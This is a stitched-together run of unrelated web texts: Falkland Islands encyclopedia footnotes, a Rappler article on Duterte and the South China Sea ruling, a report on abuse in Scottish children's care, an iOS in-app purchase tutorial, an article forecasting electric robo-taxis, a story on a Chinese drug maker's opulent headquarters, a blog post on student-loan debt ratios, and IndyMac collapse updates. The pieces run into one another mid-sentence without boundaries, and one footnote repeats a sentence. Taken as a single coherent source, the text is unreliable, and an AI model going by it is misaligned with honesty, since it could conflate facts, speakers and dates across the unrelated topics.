^ According to researcher Simon Taylor, the exact Gaelic etymology is unclear as the "falk" in the name could have stood for "hidden" (falach), "wash" (failc), or "heavy rain" (falc). ^ Based on his analysis of Falkland Islands discovery claims, historian John Dunmore concludes that "[a] number of countries could therefore lay some claim to the archipelago under the heading of first discoverers: Spain, Holland, Britain, and even Italy and Portugal – although the last two claimants might be stretching things a little." ^ In 1764, Bougainville claimed the islands in the name of Louis XV of France. In 1765, British captain John Byron claimed the islands in the name of George III of Great Britain ^ According to Argentine legal analyst Roberto Laver, the United Kingdom disregards Jewett's actions because the government he represented "was not recognized either by Britain or any other foreign power at the time" and "no act of occupation followed the ceremony of claiming possession". ^ Before leaving for the Falklands Vernet stamped his grant at the British Consulate, repeating this when Buenos Aires extended his grant in 1828. The cordial relationship between the consulate and Vernet led him to express "the wish that, in the event of the British returning to the islands, HMG would take his settlement under their protection". ^ The log of the "Lexington" only reports the destruction of arms and a powder store, but Vernet made a claim for compensation from the US Government stating that the entire settlement was destroyed. ^ As discussed by Roberto Laver, not only did Rosas not break relations with Britain because of the "essential" nature of "British economic support", but he offered the Falklands "as a bargaining chip... in exchange for the cancellation of Argentina's million-pound debt with the British bank of Baring Brothers ". In 1850, Rosas' government ratified the Arana–Southern Treaty, which put "an end to the existing differences, and of restoring perfect relations of friendship" between the United Kingdom and Argentina. ^ Argentina protested in 1841, 1849, 1884, 1888, 1908, 1927 and 1933, and has made annual protests to the United Nations since 1946. ^ There were continual tensions with the colonial administration over Lafone's failure to establish any permanent settlers, and over the price of beef supplied to the settlement. Moreover, although his concession required Lafone to bring settlers from the United Kingdom, most of the settlers he brought were gauchos from Uruguay ^ [64] Detection and clearance of mines in the Falklands has proven difficult as some were air-delivered and not in marked fields; approximately 80% lie in sand or peat, where the position of mines can shift, making removal procedures difficult.[65] The minefields were fenced off and marked; there remain unexploded ordnance and improvised explosive devices.Detection and clearance of mines in the Falklands has proven difficult as some were air-delivered and not in marked fields; approximately 80% lie in sand or peat, where the position of mines can shift, making removal procedures difficult. ^ In 1976, Lord Shackleton produced a report into the economic future of the islands; however, his recommendations were not implemented because Britain sought to avoid confronting Argentina over sovereignty. Lord Shackleton was once again tasked, in 1982, to produce a report into the economic development of the islands. His new report criticised the large farming companies, and recommended transferring ownership of farms from absentee landlords to local landowners. Shackleton also suggested diversifying the economy into fishing, oil exploration, and tourism; moreover, he recommended the establishment of a road network, and conservation measures to preserve the islands' natural resources. ^ [137] At the time of the 2012 census, 91 Falklands residents were overseas.
References
Bibliography
Further reading
Coordinates:President Rodrigo Duterte also says he asked the country's past leaders for advice on how to proceed in the maritime dispute. Arroyo and Estrada recommended caution.
Published 8:20 PM, July 28, 2016
MANILA, Philippines – President Rodrigo Duterte expressed his gratitude to his predecessor Benigno Aquino III for securing the Philippines' victory in its case against China over the West Philippine Sea (South China Sea).
Duterte thanked Aquino during the first National Security Council (NSC) meeting on Wednesday, July 27, attended by Aquino and other former presidents.
"Si President Aquino, he won for us the case kaya ako nagsabi, 'Maraming salamat po for giving us the ace card.' It was he who filed, it was upon his instructions," said Duterte as he spoke in front of soldiers on Thursday, July 28, in Camp Nakar in Lucena City, Quezon.
(President Aquino, he won for us the case, so I said, 'Thank you for giving us the ace card.' It was he who filed, it was upon his instructions.)
Aquino and 3 other former Philippine presidents attended the NSC meeting, which tackled the maritime dispute between Manila and Beijing, among other national security issues.
Aquino will go down in history as the Philippine president who took China to court and won the case.
Seeing Aquino, Pampanga 2nd District Representative Gloria Macapagal-Arroyo, Manila Mayor Joseph Estrada, Fidel Ramos, and Duterte in one room captured the imagination of netizens.
The 4 former presidents, automatically members of the NSC, were consulted by Duterte on his administration's next steps in the West Philippine Sea dispute.
"We take the advice of the elders. President Arroyo said 'caution.' President Estrada said'restraint,'" said Duterte.
Ramos, meanwhile, is Duterte's envoy to jumpstart bilateral talks with Beijing.
The President said he would let Ramos "navigate" the way to the talks.
"Hayaan muna natin sila. Let Ramos navigate and maybe, when the final talks are there, tapos nagkaharap na kami, that will be the time na magkaprankahan na tayo," he said.
(Let's let them be for now. Let Ramos navigate and maybe, when the final talks are there and we are face-to-face with China, that will be the time to be frank with each other.)
Once the Duterte adminstration is able to secure talks with China, that's when Duterte will put his cards on the table.
"This is our position, this is what we want, we will not go out of it. So we will talk. So what is your position?" said the President.
The world awaits how Duterte will use the Hague ruling, which affirmed the Philippines' claim over the West Philippine Sea, in negotiations with China. The ruling nullified the Asian giant's so-called 9-dash line and condemned its reclamation activities there.
But China refuses to acknowledge the ruling and said it will reject bilateral talks based on the ruling. (READ: How to enforce Hague ruling? PH lead counsel explains) – Rappler.comChildren were tortured at Scottish schools, children’s homes and residential units with waterboarding, sleep-deprivation and force-feeding among the practices deployed to torment them, a major study into alleged abuse has claimed.
The report from the National Confidential Forum, set up to acknowledge the experiences of abuse victims, also records physical and sexual abuse, the humiliation of children for bed-wetting, and children having all their hair cut off to suppress their identity.
Dr Rachel Happer, head of the Forum said most of the adults who had come forward to tell of their experiences had never seen their abusers brought to justice due to a culture of silence and intimidation.
“Many of the accounts we have heard have been heart-breaking and akin to extreme treatment that nobody should be on the receiving end of, never mind children and never mind a child who is meant to be cared for and protected,” she said.
“People have used their own words to describe the experiences and some have certainly described what happened to them as torture.”
The oldest experience detailed in the report What We Have Heard So Far took place eight decades ago, and the most recent just five years ago.
While a small number of the 78 people who have so far made disclosures to the Forum had good care experiences, and not all had stories of abuse, the majority - 59 people - described a range of dehumanising and cruel physical, sexual and emotional abuse.
The adults who described their childhood experiences to the forum's expert panel are anonymous, as are the institutions involved. Those who had made allegations as children said they were rarely believed, and more likely to be punished or moved, with the abuser's version of events believed instead.
Harrowing quotes from children who were rehoused to protect them from abuse or neglect describe brutal treatment and intimidation. “She’d fill a bath with cold water and throw you in it, with the towel wrapped around your head, which I think is called water-boarding…and then pour buckets of water over your head,” said one person of a staff member at a residential unit.
Another described the place they were accommodated: “It was a systematic torture chamber…a systematic abuse…a way of life all the time, morning and night.”
Dr Rachel Happer said some of the people who spoke to the forum had never spoken about their experiences, and urged more to come forward.
“For some people, talking to the Forum is the first time they have been heard and sharing their experience broke a long-held silence," she said. "For those people who may still be silent, now is their chance to speak up. We offer a safe and supportive place to be heard.
“Our aim is to record these experiences as part of Scotland’s history, to learn from them and understand the profound and long-term impact of care and to continue making progress to create care environments where vulnerabilities are tackled and children are supported to reach their potential.”
She said that while the forum itself exists only to record and acknowledge the experiences of people who grew up in care, it is working closely with the National Child Abuse Inquiry and is supporting those who wish to take their evidence further to get in touch with the inquiry or with Police Scotland.
Alan Draper, spokesman for In Care Abuse Survivors Scotland, said the details revealed in the report were no surprise, and reflected the experiences of many of the group's members. He said "we are pleased to see this brought to public attention." However he said there was a need to provide financial redress to victims of abuse, especially those in the later stages of life. "This raises questions about how we repair the damage that has been caused to so many people by an uncaring establishment," he added. "One of the ways should certainly be some form of monetary acknowledgement of what they went through."
A spokesman from NSPCC Scotland said: “The accounts of abuse published in this report are extremely shocking and it’s vital that any victims of abuse get justice, no matter how much time has passed since crimes against them were committed. We need to ensure that people who have been abused as children feel confident to come forward, safe in the knowledge that their voices heard and they will receive help and support.”Introduction
In-app purchase (IAP) is a great way to earn money from your iPhone, iPad, iPod touch or Mac app. You can detect if some app offers IAP by going to the app page, and see if it has “Offers In-App Purchases” or “In-App Purchases” near the Price, Buy, or Get button. IAP is mostly used to unlock some extra content in your app that you want to monetize from. Like it or not, Apple charges 30% of each successful transaction that your app will make.
Examples of IAP:
In a photography app you can buy extra effects for x.xx$;
Open the Medium iOS app and you can see a "Become a member" button under Settings, which offers a monthly subscription with lots of premium content;
Buy coins or other virtual currency in a game, so you can progress faster.
The 4 types of IAP:
Consumable - the user needs to buy these items every time he wants them. Examples of consumable purchases are buying game currency, hints, health etc. Non-Consumable - once you buy this, you will have it forever. This is a one time purchase, and you can also transfer it between devices connected with the same AppleID. Examples are: upgrading an app to pro version, removing ads, city guide maps etc. Non-renewing subscriptions - using the app content for a fixed period of time, and you can buy it again after it ends. For example, a sports season. Auto-renewing subscriptions - you can subscribe to the content or the services that the app is offering for a specific period. It will automatically renew when the period has passed. Examples, newspaper subscriptions, Netflix, games, etc.
With this tutorial, you will learn everything that you need to know about In-App Purchases. I will try to be as much detailed as possible, and will break down this tutorial to multiple steps for better understanding:
iTunes Connect Setup The Code Using the Code Testing
1. iTunes Connect Setup
Enter your bank account details
The most important part to get the IAP work is to enter your bank information. That can be done by going to the Agreements, Tax, and Banking section in iTunes Connect. If you don't have this setup, you can't use the IAP services. Should look something like this below…
Create a Sandbox User
Then we need to create a Sandbox User. To create this kind of user navigate to Users and Roles and choose the Sandbox Testers section. Remember to use an email that isn't associated with any Apple ID. You will need the Sandbox User to create test payments, otherwise, you can't test them.
Create an iTunes App
Go to the My Apps section and create an app. Or, use an existing app if you already have one. To create an app you will have to create an App ID from your Developer account.
Create the IAP products
Click on your iTunes app and navigate to the Features section. There you can create a new IAP product. Click on the + icon and pick one of the 4 types that I have explained you above. Then enter the required metadata related to that IAP. Pay attention to the Product ID, as you will need that identifier in your app to call the desired IAP. Here is how it should look like.
Here are some examples of IAP's that I have created. The warnings are completely normal.
We are done with the iTunes Connect setup. If you are clear, then let's proceed to the next step where I will explain you the code.
2. The Code
Keep the code in a separate class. I have named mine IAPHandler, but feel free to change the name if you don't like it. In this class, we will store everything related to In-App Purchases. For a better understanding, I will attach the whole GIST file and will explain each function in the file…
Variables
The first thing that you need to do is to create variables from your IAP product ID's (in my case CONSUMABLE_PURCHASE_PRODUCT_ID and NON_CONSUMABLE_PURCHASE_PRODUCT_ID). Also, we will create variables for handling the IAP request and an array that will store all the available IAP products.
Class functions
canMakePurchases() — returns a boolean value whether the device is able to make purchases or not. purchaseMyProduct(index: Int) —use this function for initiating a purchase. This function will raise the payment dialog. Send index to get the correct IAP product from the iapProducts array. restorePurchase() — function for restoring the IAP. Used if the user changes a device, and he already owns a non-consumable IAP in your app. fetchAvailableProducts() — Create a collection of product ID's that you want to use, by adding all of them into an NSSet object. Remember to set the delegate method, so you can get the SKProduct results back.
Delegate Methods
productsRequest (_ request:SKProductsRequest, didReceive response:SKProductsResponse) — returns all the available In-App Purchases and populates the iapProducts array. Triggered after calling the fetchAvailableProducts() function. paymentQueueRestoreCompletedTransactionsFinished(_ queue: SKPaymentQueue) — handles a situation where a user successfully restores an IAP. paymentQueue(_ queue: SKPaymentQueue, updatedTransactions transactions: [SKPaymentTransaction]) — this delegate method is triggered after calling the purchaseMyProduct(index: Int) function. In this callback, you will get everything related to the IAP transaction ( like if an item has been purchased or it failed).
Callback handler
As a bonus, I have added the callback handling enum. Create a closure purchaseStatusBlock(), which returns various IAP transaction statuses for more clearer code. To make it even better, I have created an enum type called IAPHandlerAlertType, which will return a message for the suitable case.
Scroll below the GIST file to discover how to use this class.
3. Using the Code
Go to your UIViewController and then in your in viewDidLoad() function, fetch the products and also add the closure where you will get the response of the transaction that the user has made.
IAPHandler.shared.fetchAvailableProducts()
IAPHandler.shared.purchaseStatusBlock = {[weak self] (type) in
guard let strongSelf = self else{ return }
if type ==.purchased {
let alertView = UIAlertController(title: "", message: type.message(), preferredStyle:.alert)
let action = UIAlertAction(title: "OK", style:.default, handler: { (alert) in
})
alertView.addAction(action)
strongSelf.present(alertView, animated: true, completion: nil)
}
}
Then create an action where you will initialize the transaction window. The below example will get the first product from the iapProducts array.
@IBAction func consumable(btn: UIButton){
IAPHandler.shared.purchaseMyProduct(index: 0)
}
4. Testing
Sign In with your Sandbox User on your iOS device, navigate to your app and click the action to initiate the transaction. Don't worry about the price on the transaction window. Since you are using a Sandbox User, nothing will be charged from your account.
NOTE: You can't test In-App Purchases on iOS Simulator. Please use a real device.Ask a typical industry analyst how long it might take Americans to take most trips in electric cars, and they might say the middle of the century–or later. The Energy Information Administration predicts that only about 3% of miles traveled in the U.S. in 2050 will happen in electric cars. But a new report suggests that it could happen in a little more than a decade.
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Self-driving cars, the report predicts, will make ride hailing so cheap that the market will quickly transform–and because electric cars can last longer with heavy use, it will make economic sense for those cars to be electric, as well. By 2030, 95% of passenger miles traveled in the U.S. could be happening in on-demand, autonomous electric cars owned by fleets rather than individuals. The average family could be saving $5,600 a year on transportation. Also, the oil industry could collapse. The linear, incremental growth of electric vehicles predicted by some analysts might be wrong. “This is not an energy transition,” says James Arbib, a London-based venture investor who co-authored the Rethinking Transporation report with serial entrepreneur and author Tony Seba. “This is a technology disruption. And technology disruptions happen in S-curves. They happen much more quickly.” Arbib and Seba saw that policymakers and others tend to make decisions without understanding how exponential change happens, and founded a new nonprofit, RethinkX, to study those disruptions. The transportation report is their first. The report predicts that autonomous cars could be ready for widespread deployment–and have regulatory approval–by 2021. The exact year may vary, but the researchers have confidence it will happen between 2020 and 2025, based on announcements from car companies and how quickly self-driving pilots are growing. They also believe that regulators will want to support the technology. “There are enormous gains for the economy, gains on a social and environmental level, and so on, and we think that generally there will be a supportive attitude,” says Arbib. “Any technology that can save a number of lives as autonomous vehicles might do–there’s sort of a moral imperative to try to introduce it when you can. From a regulatory perspective, we expect there to be a supportive framework.” Within 10 years–after the technology is ready and regulators have approved it–even though individually owned gas cars will still exist, the report predicts that virtually all trips will happen in electric robo-taxis.
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The shift will happen because of economics: using “transportation as a service” in autonomous electric cars could be 4 to 10 times cheaper per mile than buying a new car, and 2 to 4 times cheaper than operating your own, old car. Ride hailing in a car shared with other passengers–like UberPool today, but without a human driver–could cost as little as three cents a mile. The cars will be cheaper, the report posits, for several reasons. Because self-driving cars almost eliminate the possibility of accidents, the cost of insurance could be far less. Because the cars will be driven far more of the time–the typical personal car is used only 4% of the time–the depreciation cost per mile would also be sharply reduced. The cost of charging a battery is less than buying gas. And electric cars also require less maintenance and last longer on the road. “It all comes down to vehicle degradation, essentially,” says Arbib. “When you compare the powertrain of an electric vehicle to a gasoline vehicle, there are about 20 moving parts in the power train of an electric vehicle, and 2,000 or so in a gasoline vehicle. So there’s just a lot more that can go wrong in a gasoline vehicle.” Heat and vibration in a gas car also make it degrade faster. If a typical gas vehicle lasts 200,000 miles at the most, an EV could easily last 500,000 miles; the report authors predict that by 2030, they might last for as many as a million miles. (Elon Musk, of course, has already talked about designing a Tesla that lasts that long.) The cars will be so cheap to operate that, in some cases, companies might offer transportation to their workers for free. Businesses may choose to make money by offering the vehicles for ad space, or selling data as the cars travel, or selling the service of plugging the cars into the electric grid to manage the storage of renewable energy. The technology could yield new business models, like mobile coworking spaces or cafes in larger self-driving vehicles that offer free rides as you drink your coffee. “Take Starbucks,” says Arbib. “I live in London, and I would imagine that the rent on a store in London would be £100,000 a year, or more in the center of town. Think what that translates into per coffee sold. It might be that Starbucks finds it cheaper to have a fleet of 20-seater buses that they kit out as mobile cafés that roam the streets on popular routes.” If consumers can save so much more money by using transportation as a service, it’s likely that they’ll make the shift quickly. And since electric cars are an important part of the service, they can grow exponentially, too. In the past, Arbib says, most analysts have compared electric cars to individually owned gas cars.
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“That’s a much slower transition,” he says. “The EV only becomes competitive on an upfront cost basis at some point in the ’20s and then gradually gets cheaper and cheaper, but it’s only ever a few percent cheaper. It’s not many multiples cheaper. This is an economic-driven transition, and we think the size of the cost difference is what drives it.” The report also looked at how the changes will feed on each other. As gas cars become less common, at some point, gas stations will start to close, making it less convenient to get fuel. Mechanics will start to close, and parts will get harder to find, pushing more people away from traditional cars. As self-driving cars grow on roads–potentially getting their own lanes so they can travel efficiently–driving yourself may become less and less convenient. The shift would lead to multiple major changes. Former drivers, no longer stuck in traffic, would be more productive, and add $1 trillion to the economy. Consumers would collectively have an extra $1 trillion to spend because of their savings on transportation costs. People who couldn’t afford to drive (or who couldn’t physically drive) in the past would have better access to jobs or school. With more efficient use of cars, there would be fewer vehicles on roads; parking lots in cities could be used for housing or other uses than storing cars. Because self-driving cars avoid accidents better than humans, streets would be safer. Pollution would dramatically drop. There would also be challenges. The report predicts catastrophic effects for the oil industry as early as 2021. The affordability of the new system could tempt some commuters to abandon trains and subways, even though they’re better at moving large crowds of people. (Arbib points out that this is less likely to be a challenge in the U.S., where the vast majority of trips already happen in cars.) Some temporary congestion on roads could also be overcome if every vehicle becomes autonomous, and cars can travel closer together and faster. “I think there will come a time where we actually decide to ban human drivers in cities,” he says. “It’s either going to be on congestion or speed grounds as people will actually see the huge gain that comes with taking humans out of the equation. Or it might be on safety grounds... once it’s proven that autonomous vehicles are having almost no accidents and human drivers are still killing kids on streets, public opinion might shift and it might be seen as recklessly dangerous to be a human driver.” While policymakers could speed up the transition–or potentially slow it down–Arbib thinks it is likely to happen. “There’s a global marketplace here,” he says. “The more vehicles there are on the road, the more quickly they learn. If America, or any particular state in America, decides to hold back, we still expect the Chinese or Singapore or perhaps London to go ahead and pilot and test and develop these vehicles. The regions that don’t adopt this will be left behind, and will have to play catch up.”A state-run drug maker in China that came under fire for constructing a luxurious palace worthy of a Colombian cartel is now claiming that photos of the building posted online are part of an internal museum.
Harbin Pharmaceutical Group Sixth Pharm Factory, a state-owned firm based in northeast China’s Heilongjiang province, recently published a set of photos on its official website revealing its factory sumptuously awash in yellow gold and marble.
In the lobby, two plainly dressed couples--presumably employees--are shown dwarfed by four marble columns thick as tree trunks. Over them looms a triple-tiered crystal chandelier hung from the gold-plated ceiling. A photo of an indoor terrace resembles a concert hall with its white baby grand. The meeting rooms, meanwhile, have been outfitted with luxurious Chinese traditional furniture in mahogany and wooden lanterns.
The gorgeous photos have quickly drawn a barrage of criticism from Chinese Internet users for its lavish spending on the building.
“It’s a palace which is built on the pain of millions of patients,” one internet poster with the online pseudonym Medical Pioneer 2 said on China's Twitter-like Sina Weibo microblogging site. Another web user who gave the name Mo Xi wrote: “Now I finally know why Chinese people can’t afford to go to the doctor and buy medicines.”
In the face of growing public anger, the company removed the sensational photos from its website, and said that they were of a wood-block-printing art museum located in the same building as the company’s headquarters.
The official Xinhua News Agency quoted Lu Chuanyou, head of the company, as saying that the factory's European-style main building, constructed in 2004, has six floors --the ground to the third for working areas and the rest for the wood-block-printing museum (in Chinese)
Except for the magnificent lobby, the design and decoration of the working section is generally plain and simple, while the art museum’s section (from the fourth floor to the sixth) looks sumptuous, decked out with crystal chandeliers and finely crafted copper-coated wooden figures as well as grandly-decorated meeting rooms and parlors, the Xinhua report said.
The construction of the building and interior decorating cost the company more than 93 million yuan (US$15 million), Mr. Lu said, adding that the intention in building the museum was to promote cultural development and highlight the company’s social responsibility.
Established in 1977, Harbin Pharmaceutical Group Sixth Pharm Plant is a subsidiary of state-owned Harbin Pharmaceutical Group Holding Co., which is China’s first publicly listed drug maker. Besides manufacturing drugs, the Sixth Pharm Plant also produces beverages and health food.
It’s still unclear why the pharmaceutical company decorated the plant's art museum section in such a luxurious style. A spokesman at the company on Friday declined to comment.
The company’s effort to deflect public attention appears to have done little to calm down the anger of the mass.
Chinese newspaper Southeast Press said on Friday in its microblog: "Simple wood-block-printing art doesn't need an extravagant museum!" An Internet user posting under the name Ttparishilton on Sina Weibo wrote: "As long as Harbin Pharmaceutical Group Sixth Pharm Plant is a state-controlled enterprise, we are allowed to ask with whose money the company realized its art dream and who should have the right to approve the spending of the money."
Harbin Pharmaceutical is by no means the first government entity in China to invite public scorn by spending lavishly on a building that appears to have little function beyond satisfying leaders' vanity. As recently as March, a local government in rural Anhui province ignited a firestorm of criticism after its plans for an opulent complex covering nearly 45 acres were revealed online.
In one of the most forehead-smacking examples of government decorating excess, one local environmental protection bureau was discovered in January to have used sidewalk tiles for the blind to create a decorative pattern on either side of the main road leading into its headquarters.
Harbin Pharmaceutical, however, appears to have prompted more than the usual dose of public outrage over such indulgences -- a reaction that could be attributed to widespread dissatisfaction in China over the state of the country's health care system.
It’s unknown how profitable Harbin Pharmaceutical Group Sixth Pharm Plant is. But a research note from China Merchants Securities Co. showed that the country’s more than 100 listed drug makers had an average net profit margin of 10% in the first half of this year, up from 7.7% in 2008. By contrast, Pfizer Inc. had an average 20% net profit margin from 2006 to 2010.
Chinese pharmaceutical makers’ lower net profit margin suggests their operations are less efficient. In fact, complaints about costly medicines have been on the rise in recent years, making the high cost of health care services -- along with surging housing prices and education spending -- among the biggest source of public discontent in China.
Hospitals all over the country are notorious for padding the bonuses of doctors who prescribe expensive medicines or order up high-tech tests. Data from the Ministry of Health show that around 50% of total health spending is for drug purchases in China, a disproportionately high amount compared to other countries (in Chinese). In the U.S., the figure stands at about 10%.
-- Rose Yu with contributions from Jean YungI heard a call recently on The Dave Ramsey Show from the wife of a soon to graduate dental student. She was asking about whether he should use a doctor loan to buy a house. Here are the two segments in case you missed it:
I thought the call was illustrative of two things. First, the call demonstrated the unbelievable burning desire of graduating docs, and especially their spouses, to buy a house. I’ve discussed this many times before and regular readers know how I feel about buying a house right away (i.e. don’t, especially if you still have years of training ahead of you.) Second, the call illustrated just how debt-numb most doctors are at the completion of their training, as discussed in this guest post a few months ago by a “profligate borrower.” You see, Dave quickly asked this lady the key questions- “How much student loan debt?” and “How much income?” The answers were not particularly surprising to someone like me who has a pretty good feel for the pulse of the current professional educational environment, but it apparently was to Dave. She said “$480K in debt and $120K in income.”
The problem here may not be obvious to someone who has not had to deal with a significant student loan burden. To those who have, the issue is very clear. You see, you cannot actually pay off that loan with that income during a normal career length. Let me demonstrate.
Doing the Math
Consider the amount of interest that accumulates each year on a $480K debt burden at, let’s say 7%. It’s about $34K. Let’s assume this couple is relatively tax savvy and only pays 20% in taxes. That’s $24K. So, $120K-$34K-$24K= $62K. Let’s assume this family of four lives relatively frugally on a resident’s salary, $40K. That leaves $22K with which to actually pay down the debt, save for retirement, and save for college. Just for fun, we’ll say half of it, $11K, goes to debt pay off each year. How long does it take to pay off $480K at $11K per year? $480K/$11K per year = 44 years. What? You wanted to have your loans paid off before you’re eligible for Social Security? Not going to happen. Not to mention you’re never going to become wealthy when you’re only putting $11K a year toward it, and that’s totally ignoring helping the kids with college.
Now, before the critics get after me, I know that it’s not quite as bad as I illustrated. In fact, if you put $45K ($34K interest and $11K principal that first year) toward the 7% debt each year, you actually pay it off in just over 20 years because more of the payment goes toward principal each year. But whether it’s 20 years or 44 years is largely irrelevant in this scenario, because we’re talking about someone who busted his butt in high school to get into a good college, busted his butt in college to get into a good dental school, and then ends up with the equivalent of a resident’s salary for nearly his entire career. Now, I know dentists are really into teeth, but I doubt very many of them are into teeth enough (at least after the first 5 years) to do it for the equivalent of a $40K/year salary. (Correct me if I’m wrong dentists.)
The problem is that the debt is just too large for the potential income. Some people look at it as an “investment” of $480K to get a job that over a 30 year career will pay $3.2M. As you can see, that’s a very bad way to look at it. Perhaps a better way to look at it is to consider the ratio of student loan debt to peak earning salary. For example, an internist with the average student loan debt of $200K and an income of $200K has a ratio of 1X. An orthopedist with a student loan burden of $400K and an income of $400K also has a ratio of 1X. But a pediatrician with a debt of $450K and an income of $150K has a 3X ratio, and a dentist with a debt of $480K and an income of $120K has a 4X ratio.
So what is the ideal ratio? Well, it’s 0X, but that’s the wrong question to ask. The right question is what is the maximum ratio you should tolerate before deciding it just isn’t worth it?
My general debt recommendation is to not exceed a 1X level for your student loans and a 2X level for your mortgage. Obviously, people in the Bay Area often have to stretch that recommendation to get a home. But when I say stretch I’m talking 3-4X. And that stretch is going to have a significant effect on minimum career length, vehicle driven, school attended etc. Likewise, perhaps some physicians and dentists attending an expensive school without parental or spousal support have to stretch a bit. But when I say stretch, I’m talking maybe 2X, not 3-4X. And again, that’s going to have a significant effect on lifestyle.
I think most docs should aim to have their student loan burden gone within 5 years of the completion of training. What percentage of income must go toward student loans to accomplish this? Let’s take a look.
Let’s assume an interest rate of 7%.
1X: 24% of gross income
2X: 48% of gross income
3X: 72% of gross income
4X: 96% of gross income
Basically, 3-4X is impossible. So don’t ring up 3-4X in student loan debt. Either choose a different profession or find someone else (i.e. the military and similar) to pay the bill |
many as 700 employees may be (or have been) laid off were later said to have been exaggerated. Update - 2009-01-02: As first reported in the Mortgage Lender Implode-O-Meter on 2008-12-26, the FDIC said in a press release today that it had entered into a Letter of Intent to sell Indymac Federal Bank FSB for approximately $13.9 billion to IMB HoldCo LLC, a thrift holding company controlled by IMB Management Holdings LP. IMB HoldCo is owned by a consortium of private equity investors led by Steven T. Mnuchin of Dune Capital Management LP. In an attachment to the release, FDIC indicates the transaction will be structured as the sale of New IndyMac to IMB HoldCo. New IndyMac is comprised of: The retail bank headquartered in Pasadena, CA, with 33 branches located primarily in the Los Angeles MSA with approximately $6.5 billion in deposits;
A loan portfolio of $16 billion and a securities portfolio of $6.9 billion;
A servicing platform with mortgage servicing rights ("MSRs") representing an unpaid principal balance of $157.7 billion; and
A reverse mortgage platform, Financial Freedom, with $1.5 billion of reverse mortgages and MSRs representing an unpaid principal balance of $20.2 billion. The sale will close in late January or early February, with an estimated cost to the FDIC of between $8.5 to $9.4 billion. Update - 2008-08-02: Indymac Bancorp, Inc., the parent holding company for Indymac Bank, F.S.B., filed a Chapter 7 bankruptcy on 2008-07-31. From Bloomberg: "The FDIC "has been in sole possession custody and control of all of the books and records of" IndyMac Bancorp and the court filing was made without access to information that bankruptcy laws typically require, Chief Executive Officer Michael W. Perry said in court papers. While banks are prohibited from filing for U.S. bankruptcy protection, bank holding companies aren't. Perry is Pasadena, California-based IndyMac Bancorp's sole remaining employee, according to the filing." Update - 2008-07-11: (End of day - 3:57 pm PDT) "On, Friday, July 11, 2008, IndyMac Bank, FSB ("IndyMac Bank") was closed by the Office of Thrift Supervision ("OTS") and the Federal Deposit Insurance Corporation ("FDIC") was appointed as Receiver (the "Receiver"). Under the laws of the United States, the Receiver is charged with the duty of winding up the affairs of IndyMac Bank." To view the entire 2-page letter to Employees, click here (pdf). The FDIC (click here) has put out a guide to answer consumer, investor and media questions. Update - 2008-07-11: "The FDIC is in charge" was the verbal announcement ringing through the halls of IndyMac's Pasadena offices. "Everyone show up for work on Monday." The above information came from an inside source just minutes ago. A formal announcement will be made later today. Update - 2008-07-10: According to a source that has proved credible in the past, we were told a meeting will be held at IndyMac HQ tomorrow announcing the FDIC will put them into conservatorship. According to this source, $190 million was pulled in yesterday's run, and $100 million today. Mr. Perry left for a haircut at 4:00 pm (PDT) Update - 2008-07-08: Indymac has announced the sale of Retail Lending Group (RLG) to Prospect Mortgage. In a memo received today: "...Prospect Mortgage will acquire the majority of the retail branches of IndyMac Bank Home Lending. This transaction includes approximately 750 employees and over 60 branch locations. We are excited to have them onboard! The IndyMac branches will adopt the Prospect brand." You can view the entire announcement here. In further news, it appears Indymac is now CHARGING brokers to close their locked loans! This in from one such company, complete with a couple of solutions: "We have just confirmed word that IndyMac will only fund the [co. name deleted] loans that are currently in their pipeline if they receive a 1% on that total pipeline from us. Suffice it to say that we are not in a position to forward more than $100,000 to guarantee that these loans will close. It is our suggestion at this time that you pull your existing loans and send them to other lenders. We would suggest The Money Store, New Line or Taylor Bean & Whitaker." To view a copy of the Rate Lock Fee Letter, click here. How desparate do you have to be... how broke are you when you demand 1% lock fees? The Implode-O-Meter is looking for a better solution. Update - 1:30pm (PDT): To quote a 1:00 pm email distributed by Grove Nichols, signed by M. Perry, Indymac is getting out of the mortgage business....will necessitate the reduction in our present workforce from approximately 7,200 to roughly 3.400 or so over the next couple of months." Indymac has announced they will no longer accept any new loan submissions or rate locks in either retail or wholesale, and are closing their "forward" mortgage business. To read the full text, visit our Forum here. Update - 11:30am (PDT): Indymac employees have been on hold waiting for a company-wide 1:00pm conference call. From an email this morning: "Indy Mac is closing TODAY. The entire Marlton NJ office is apparently being shut down and their other operations offices are closing. All wholesale operations are gone." As this news rolls across the country, we will keep you updated on developments. One source says as many as 4,000 people will be laid off. It's early in the day, but an official announcement is expected within hours as to the extent of the shutdown. 7:45 am (PDT) - Bloomberg is showing trading halted. Original Ailing/Watch Listing - 2008-06-30 (6:30pm EST): At 5:45 pm (EST), the following email was sent to customers of Indymac's commercial lending unit, Indymac Commercial Lending Corp.: "ICLC, due to the current market and capital constraints has ceased lending operations as of 7/1/08. A formal announcement from ICLC will be coming out tomorrow regarding details and loans in process." An official notice was sent out shortly thereafter. Referring to today's press release on The IMB Report, Indymac's company web site, an LA Times report refers to "a weekend that saw depositors line up at some of its San Gabriel Valley branches to pull their money, as they reacted to news reports questioning the company's survival." Indymac's article responds with "while branch traffic is somewhat elevated this morning, it is substantially lower than on Saturday, and we are hopeful that this issue appropriately abates soon..." A thread for the ICLC shutdown has begun on our Discusssion Forum. Update - 2008-06-30: After the opening bell, Indymac Bancorp Inc. shares dipped to a morning low of $0.60. IndyMac was one of 12 stocks removed from the Russell 1000, moved to the small-cap Russell 2000 Index per Yahoo Finance. Meanwhile, the Center for Responsible Lending released a report today titled "IndyMac: What Went Wrong?," in which it "finds substantial evidence that IndyMac routinely made loans with little regard for their customers' ability to repay the loans" according to The Earth Times. "CRL's investigation provides a body of evidence that discredits the idea that IndyMac and other lenders were victims of overreaching borrowers or rogue mortgage brokers," says Michael Hudson, the report's primary author and a senior investigator at CRL. "IndyMac's current problems appear to be largely the legacy of top-down pressures that valued short-term growth over making responsible lending decisions." That surely can't have a positive effect. Shares continued to struggle, closing at $.062, down over 23% from the morning's open of $0.81. Update - 2008-06-26: IndyMac shares are finally down to a mid-day low of $0.94 at one point. One of our sources states, "Pretty much we were told informally that if we did not get a capital infusion we would not make it and that we had a 50/50 chance of obtaining said infusion." Update - 2008-06-23: Shares of IndyMac have fallen in the past year from $32.54 down to $1.32 at mid-day today. Attorneys calling for Class Action suits are lining up: Brower Piven Encourages Investors Who Have Losses in Excess of $100,000 From Investment...
Stull, Stull & Brody Announces Class Action on Behalf of Shareholders of IndyMac Bancorp, Inc.
Federman & Sherwood Announces That a Securities Class Action Lawsuit Has Been Filed Against IndyMac Bancorp, Inc.
